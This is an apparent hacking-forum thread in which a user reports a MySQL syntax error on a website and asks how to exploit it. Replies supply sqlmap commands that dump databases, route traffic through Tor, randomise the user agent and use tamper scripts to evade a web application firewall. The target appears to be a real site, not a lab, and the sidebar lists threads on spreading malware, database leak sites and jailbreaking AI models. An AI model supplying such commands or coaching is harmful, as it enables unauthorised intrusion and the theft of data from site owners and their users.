Help sql injection and sqlmap this case?
by liampv - Thursday August 15, 2024 at 01:41 PM
#1
Hi everybody
I'm trying to learn about sql injection and sqlmap.
I tried a website, and saw an error like this? How should I exploit it?
victim.com/search/12'
Error massage:
Query: SELECT * FROM php_order WHERE id='12''
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''12''' at line 1
I tried like this:
sqlmap -u "victim.com/search/12*" --dbs --dbms=mysql
but no result.
Please help me this case
Reply
#2
Can you show the output from such command, try adding verbose with it.
This forum account is currently banned. Ban Length: (Permanent)
Ban Reason: Legend
Reply
#3
Try this
sqlmap -u "victim.com/search/12'" --level=5 --risk=3 -o --dbs --answer="crack=n" --tor --check-tor --tor-type=socks5 --tor-port=9150 --no-cast --random-agent

And try adding --threads=5 and verbose like Intel mention
This forum account is currently banned. Ban Length: (Permanent)
Ban Reason: Sale of public leaks + attempted scam and manipulation. Shame. | https://pwnforums.st/Forum-Ban-Appeals if you feel this is incorrect.
Reply
#4
(08-15-2024, 01:41 PM)liampv Wrote:
Hi everybody
I'm trying to learn about sql injection and sqlmap.
I tried a website, and saw an error like this? How should I exploit it?
victim.com/search/12'
Error massage:
Query: SELECT * FROM php_order WHERE id='12''
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''12''' at line 1
I tried like this:
sqlmap -u "victim.com/search/12*" --dbs --dbms=mysql
but no result.
Please help me this case

If the error you receive is caused by WAF or you encounter this error after finding the solution, add the following parameter: 

 --tamper="between,randomcase,space2comment"

Good luck / By @rr00ttsec  Cool
Reply
#5
This isn't that easy, every sql server have his own tricks and arguments to use. (except low hanging fruit) Without some details i can't help.

the only thing i can say if you found some entry point use --banner to confirm it isn't a false positive
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Make money and spread malware with cheats. SPARK 465 18,258 5 hours ago
Last Post: opsec101
  Forums and Telegrams channels Databases leak sites j4c1nt0 3,052 161,912 8 hours ago
Last Post: rcii
  ⭐[Updated ]Forums and Telegrams channels Databases leak sites⭐ greekis 347 12,568 8 hours ago
Last Post: IamGhost999
  --> Military Training And Research Center Of The Air Force <-- batman5464 82 4,078 03-28-2026, 12:37 AM
Last Post: lxstcxntury
  [ ✅ ] Jailbreak AI : Mistral, DeepSeek, Z.AI and more 3rn3st 2 24 03-27-2026, 09:31 PM
Last Post: sirwev



 Users browsing this thread: 1 Guest(s)